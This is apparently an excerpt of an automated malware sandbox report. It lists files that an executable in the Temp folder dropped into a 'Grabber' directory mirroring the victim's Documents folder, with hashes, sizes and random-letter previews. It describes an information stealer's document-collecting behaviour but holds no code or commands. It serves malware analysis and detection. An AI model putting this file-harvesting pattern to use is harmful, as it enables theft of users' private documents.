Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH\GIGIYTFFYT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH\GLTYDMDUST.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH\JDDHMPCDUJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH\PALRGUCVEH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZGGKNSUKOP.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
